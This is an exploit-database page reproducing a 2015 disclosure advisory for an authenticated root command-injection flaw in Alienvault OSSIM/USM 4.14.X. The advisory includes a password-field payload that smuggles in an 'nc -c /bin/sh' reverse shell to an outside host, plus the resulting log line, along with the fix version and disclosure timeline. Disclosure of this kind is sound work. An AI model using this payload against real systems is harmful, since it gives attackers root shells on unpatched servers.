0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Alienvault OSSIM/USM 4.14.X Command Execution Vulnerability
[Details ======= Product: Alienvault OSSIM/USM Vulnerability: Command Execution Author: Peter Lapp, lappsec@gmail.com CVE: None assigned Vulnerable Versions: <=4.14.X Fixed Version: 4.15.0 Summary ======= Alienvault OSSIM is an open source SIEM solution designed to collect and correlate log data. The automatic deployment option for OSSEC agents is vulnerable to command execution as root. Authentication to the web UI is required to exploit this vulnerability. Technical Details and POC ========================= The web UI allows a user to automatically deploy OSSEC agents to Windows hosts when supplied with a username and password. The username and password are passed unfiltered to a command that runs as root. By simply providing a password of "fakepass | nc -c /bin/sh X.X.X.X 1234 | " a reverse shell is created and root access to the operating system is obtained. The user.log shows the input as it is passed to the command: Dec 18 16:42:28 ossim-server ansible-command: Invoked with executable=/bin/bash shell=True args= program_files_x86=$(winexe --user=/test%fakepass | nc -c /bin/sh 10.10.10.10 1234 | //10.10.10.199 'cmd /c set' | grep "^ProgramFiles(x86)=" | cut -d'=' -f 2-); program_files_x64=$(winexe --user=/test%fakepass | nc -c /bin/sh 10.10.10.10 1234 | //10.10.10.199 'cmd /c set' | grep "^ProgramFiles=" | cut -d'=' -f 2-); [[ $program_files_x86 ]] && echo $program_files_x86 || echo $program_files_x64 removes=None creates=None chdir=None Solution ======== Upgrade to v4.15 References ========== https://www.alienvault.com/forums/discussion/4414/alienvault-v4-15-functional-release (ENG-98338) Timeline ======== 12/18/14 - Reported the vulnerability to the vendor and received confirmation that a defect was filed. 01/14/15 - Vendor confirmed the issue was fixed and patch available. 01/15/15 - Confirmed vulnerability was no longer exploitable and released info. # 0day.today [2024-09-28] #